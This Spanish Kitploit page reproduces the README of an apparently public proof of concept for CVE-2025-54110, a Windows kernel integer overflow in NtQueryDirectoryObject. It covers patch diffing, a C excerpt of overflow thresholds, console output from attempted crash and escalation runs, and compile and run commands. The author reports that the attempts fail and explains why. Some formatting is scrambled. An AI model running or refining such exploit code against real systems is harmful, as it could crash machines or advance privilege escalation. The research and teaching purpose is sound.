Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-54110-Kernel-EoP-PoC — Fecha del proyecto : Oct 2025 / Implementación de PoC para CVE-2025-54110 una vulnerabilidad de desbordamiento de enteros a nivel de kernel en la llamada al sistema `NtQueryDirectoryObject` de Windows. | Kitploit
Herramientas/GitHubGitHub/canomer/cve-2025-54110-kernel-eop-poc
Análisis de VulnerabilidadesExplotaciónIngeniería InversaPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHubcanomer/cve-2025-54110-kernel-eop-poc

CVE-2025-54110-Kernel-EoP-PoC

Fecha del proyecto : Oct 2025 / Implementación de PoC para CVE-2025-54110 una vulnerabilidad de desbordamiento de enteros a nivel de kernel en la llamada al sistema `NtQueryDirectoryObject` de Windows.

Ver Repositorio
1113hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-54110-Kernel-EoP-PoC

Implementación del PoC para CVE-2025-54110, una vulnerabilidad de desbordamiento de enteros a nivel de kernel en la llamada al sistema NtQueryDirectoryObject de Windows.

CVE-2025-54110 - Análisis de desbordamiento de enteros en el kernel de Windows

CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110

Este repositorio contiene un PoC de solo bloqueo para la vulnerabilidad CVE-2025-54110 (EoP del kernel), desarrollado únicamente con fines de investigación en seguridad, ingeniería inversa e investigación de desarrollo de exploits. Este código está destinado a demostrar técnicas de investigación de vulnerabilidades que incluyen:

  • Diffing binario con Ghidra Version Tracking
  • Análisis del Patch Tuesday de Windows
  • Metodologías de investigación de vulnerabilidades del kernel
  • Análisis del comportamiento del manejo estructurado de excepciones (SEH)

Este PoC NO logra escalada de privilegios ni BSOD fiable. Está diseñado para desencadenar de forma segura violaciones de acceso que son interceptadas por las protecciones del kernel de Windows.


Información general

CVE-2025-54110: Vulnerabilidad EoP del kernel de Windows

Fecha de publicación: Septiembre de 2025 (Parche de seguridad del martes de Windows)

PropiedadValor
CWECWE-190: Desbordamiento de enteros o envoltura
Puntuación CVSS 3.18.8 (Alta) / 7.7 (Temporal)
Cadena del vectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C
Vector de ataqueLocal
Complejidad del ataqueBaja
Privilegios requeridosBajos
Interacción del usuarioNinguna
AlcanceCambiado
ConfidencialidadAlta
IntegridadAlta
DisponibilidadAlta
Madurez del exploitNo comprobada

Resumen ejecutivo

Una vulnerabilidad de desbordamiento de enteros en el kernel de Windows permite que un atacante autenticado pueda escalar privilegios localmente. Según el aviso de Microsoft:

"Un atacante podría explotar esta vulnerabilidad enviando entradas especialmente diseñadas desde un proceso en modo usuario aislado (sandbox) para desencadenar un desbordamiento de enteros, lo que resulta en un desbordamiento de búfer en el kernel y permite la escalada de privilegios o la salida del sandbox."

Impacto potencial

  • Un atacante podría obtener privilegios de SYSTEM
  • Escape del sandbox desde procesos restringidos en modo usuario
  • Corrupción de la memoria del kernel que conduce a ejecución de código

Evaluación de explotabilidad

  • Divulgado públicamente: No
  • Explotado en el mundo real: No
  • Evaluación de Microsoft: Explotación más probable

Metodología de investigación

1. Flujo de trabajo de análisis de parches```

Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison

root@kitploit:~
### 2. Archivos Analizados

El análisis inicial se centró en dos componentes principales del kernel:

#### win32k.sys (-)
- **Resultado:** No se detectaron cambios significativos
- **Rango de Puntuación:** 0.97-1.0 (alta similitud)
- **Conclusión:** No es el componente vulnerable para CVE-2025-54110

#### ntoskrnl.exe (+)
- **Resultado:** Múltiples funciones con cambios significativos
- **Rango de Puntuación:** Funciones con puntuaciones ≤0.951
- **Diferencias de Longitud:** Se detectaron variaciones en la longitud de bytes entre origen y destino
- **Elementos Exportados Totales:** 2,036 funciones para análisis

### 3. Resultados del Seguimiento de Versiones en Ghidra

Muestra de cambios identificados en `ntoskrnl.exe`:

| Puntuación | Confianza | Long. Origen | Long. Destino | Función Origen | Función Destino |
|------------|-----------|--------------|---------------|----------------|-----------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## Declaración del PoC

### Enfoque Técnico

El PoC (`precise_overflow_bsod.c`) intenta desencadenar la vulnerabilidad de desbordamiento de enteros mediante:

1. **Cálculo Preciso del Umbral:** `0xfffffdbc` (derivado de base=0x20, name=0x200)
2. **API NtQueryDirectoryObject:** Función objetivo para desencadenar el desbordamiento
3. **Estrategia de Ataque en Múltiples Fases:**
   - Fase 1: Intentos de desbordamiento de enteros de precisión
   - Fase 2: Apuntado a memoria del kernel
   - Fase 3: Explotación multihilo

### Estructura del Código

```c
// PoC Structure: precise_overflow_bsod.c
// Target: CVE-2025-54110 (Integer Overflow in ntoskrnl.exe)
// Approach: NtQueryDirectoryObject with crafted input
``````c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

Vectores de explotación probados```

NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state

root@kitploit:~
---

## Por qué el PoC no bloquea el sistema

### Resultados reales

El PoC devuelve consistentemente `STATUS_ACCESS_VIOLATION (0xC0000005)` sin provocar una Pantalla Azul de la Muerte (BSOD). Esto es **por diseño** y demuestra varios mecanismos críticos de seguridad del kernel de Windows:

### 1. Manejo Estructurado de Excepciones (SEH)```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

Por qué funciona:

  • Las llamadas al sistema del kernel de Windows encapsulan el acceso a punteros de modo usuario en manejadores de excepciones
  • Los accesos a memoria no válidos son capturados en lugar de permitir que se propaguen
  • El sistema devuelve un código de error al invocador en lugar de fallar

2. SMAP (Supervisor Mode Access Prevention)

Característica moderna de CPU que impide que el modo kernel (Ring 0) acceda a la memoria de modo usuario (Ring 3) sin autorización explícita:``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler

root@kitploit:~
**Impacto en PoC:**
- Incluso si ocurre un desbordamiento, el acceso directo a la memoria del kernel al usuario está bloqueado
- Previene la explotación de vulnerabilidades de desreferencia de punteros

### 3. KASLR (Aleatorización del diseño del espacio de direcciones del kernel)```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

Por qué no ocurre BSOD:

  • PoC utiliza direcciones/umbrales estáticos
  • Las estructuras reales del kernel están en ubicaciones aleatorizadas
  • Las escrituras fallan en objetivos críticos (p.ej., EPROCESS, Pool Headers)

4. Comprobaciones de integridad del Pool del Kernel

Windows 10+ implementa una detección mejorada de corrupción del pool:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally

root@kitploit:~
---

## Análisis de la salida de ejecución del PoC

### Salida esperada

Ve el `STATUS_ACCESS_VIOLATION (0xC0000005)`, entonces está bien.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>
image

Verbossed Experiment```

C:\Users\reLab\Desktop\cve>.\poc64_verbose11.exe

CVE-2025-54110 PRECISION INTEGER OVERFLOW BSOD EXPLOIT Threshold: 0xfffffdbc (base=0x20, name=0x200) !!! WARNING: HIGH PROBABILITY OF SYSTEM CRASH !!!

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444

[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc

[+] Exploiting all directories with precise threshold...

[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...

root@kitploit:~
### Comportamiento observado```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

Código de estado: 0xC0000005 = STATUS_ACCESS_VIOLATION

Lo que esto significa

AspectoInterpretación
Confirmación de vulnerabilidad(+) La ruta de código llega a la función vulnerable
Validación de entrada(!) La entrada diseñada desencadena un comportamiento anormal
Estabilidad del sistema(+) SEH evita el fallo; el sistema permanece estable
Logro de DoS(-) Sin BSOD; manejo de excepciones exitoso
Logro de EoP(-) Sin escalada de privilegios; fallo controlado

Criterios de éxito por objetivo```

┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘

root@kitploit:~
---

## Valor Educativo

### Qué Demuestra esta Prueba de Concepto

#### Resultados

1. **Metodología de Diffing de Parches**
   - Comparación de binarios previos/posteriores al parche utilizando Ghidra
   - Identificación de funciones modificadas mediante seguimiento de versiones
   - Análisis de métricas de similitud basadas en puntuaciones

2. **Arquitectura del Kernel de Windows**
   - Comprensión del flujo de syscall (`NtQueryDirectoryObject`)
   - Reconocimiento de los límites entre modo kernel y modo usuario
   - Aprendizaje de funciones internas de NTAPI

3. **Comportamiento de Mecanismos de Seguridad**
   - SEH en acción: excepción capturada vs. fallo del sistema
   - SMAP previniendo acceso no autorizado a memoria
   - KASLR derrotando la explotación de direcciones estáticas

4. **Proceso de Investigación de Vulnerabilidades**
   - Análisis de CVE y recopilación de información
   - Ingeniería inversa de cambios binarios
   - Prueba de hipótesis mediante intentos controlados de explotación

#### Limitaciones

1. **Las Protecciones Modernas del Kernel son Efectivas**
   - Intentos simples de desbordamiento son insuficientes
   - Varias capas de defensa deben ser eludidas
   - El análisis estático por sí solo no puede predecir la explotabilidad

2. **Brecha Entre Teoría y Práctica**
   - El desbordamiento de enteros existe (teórico)
   - La explotación práctica requiere:
     - Divulgación de información (filtración de direcciones del kernel)
     - Modelado del montón/Feng Shui
     - Cadenas ROP u otras primitivas de ejecución de código
     - Bypass de DEP, CFG, HVCI, etc.

---

## Funciones Prioritarias para el Análisis

Basado en las características de CVE-2025-54110 (Desbordamiento de Enteros → Desbordamiento de Búfer en el Kernel), priorice la revisión de las funciones en el CSV exportado que manejan:

### Categorías de Alta Prioridad```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

Estrategia de filtrado para 2,036 funciones

Paso 1: Filtro basado en puntuación``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)

root@kitploit:~
**Paso 2: Búsqueda de palabras clave**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

Paso 3: Análisis de Referencias Cruzadas``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]

root@kitploit:~
**Paso 4: Cambiar Magnitud**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

Compilación y Ejecución

Prerrequisitos```

  • Windows 10/11 (x64)
  • Visual Studio 2019+ or MinGW-w64
  • Administrator privileges (for syscall access)
root@kitploit:~
### Compilación```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE

Token

  • Atajos - -o, --token```bash

Using MinGW

gcc precise_overflow_bsod.c -o poc64.exe -lntdll

root@kitploit:~
### Ejecución```powershell
# Run with admin privileges
.\poc64.exe

Salida esperada:``` [+] Current user: DESKTOP-XXXXXXX\user [+] Current PID: 1234 [!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [+] System is still running - protections may be active.

root@kitploit:~
---

## Recursos y Referencias

### Fuentes Oficiales

- [Aviso de Seguridad de Microsoft - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: Desbordamiento de Entero o Envolvimiento](https://cwe.mitre.org/data/definitions/190.html)
- [Internos del Kernel de Windows - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### Herramientas de Investigación

- [Ghidra - Suite de Ingeniería Inversa de la NSA](https://ghidra-sre.org/)
- [WinDbg - Herramientas de Depuración de Windows](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### Lecturas Relacionadas

- [Desarrollo de Exploits para Kernel](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Explotación del Kernel de Windows](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Análisis de Diferencias de Parches con Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## Aviso Legal

Este código se proporciona ÚNICAMENTE CON FINES EDUCATIVOS.

NO utilice este código para:

• Acceso no autorizado a sistemas informáticos

• Ataques maliciosos o daños

• Cualquier actividad ilegal

El autor NO asume NINGUNA responsabilidad por el mal uso.
Los usuarios deben cumplir con todas las leyes aplicables.

**Al usar este código, usted reconoce:**

1. Tiene autorización para realizar pruebas en los sistemas objetivo
2. Comprende las implicaciones legales en su jurisdicción
3. Acepta la responsabilidad total por sus acciones
4. Esto es para aprender, no para actividades maliciosas

---

## Aviso Legal
Este repositorio se proporciona estrictamente con fines educativos, de investigación defensiva de seguridad y reproducción de vulnerabilidades en entornos de laboratorio controlados.
La información y el código de prueba de concepto están destinados a ayudar a defensores, investigadores y proveedores a comprender y remediar la vulnerabilidad reportada.
El uso no autorizado o malicioso de este código contra sistemas sin permiso explícito puede violar las leyes y regulaciones aplicables.
El autor no fomenta ni aprueba actividades ilegales y no asume ninguna responsabilidad por el mal uso o daños causados por este material.

Este informe de divulgación de vulnerabilidades se proporciona para:
1. Investigación y educación en seguridad
2. Notificación al proveedor y desarrollo de parches
3. Protección de los usuarios finales
4. Fines de seguridad académica y defensiva

**Usos Prohibidos:**
- Acceso no autorizado a sistemas informáticos
- Explotación maliciosa
- Cualquier actividad ilegal

El investigador realizó todas las pruebas en sistemas de propiedad personal en entornos controlados. No se realizó ningún acceso no autorizado a sistemas de terceros.

**Versión del Informe:** 1.0  
**Última Actualización:** 9 de febrero de 2026  

---

## Contacto

Para consultas legítimas de investigación en seguridad o colaboración educativa:

**Divulgación Responsable:**
- Problemas de seguridad con este PoC → Abra un Issue en GitHub
- Explotación real de CVE-2025-54110 → Reporte a [MSRC](https://msrc.microsoft.com/)

---

## Licencia```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.
Descargar herramienta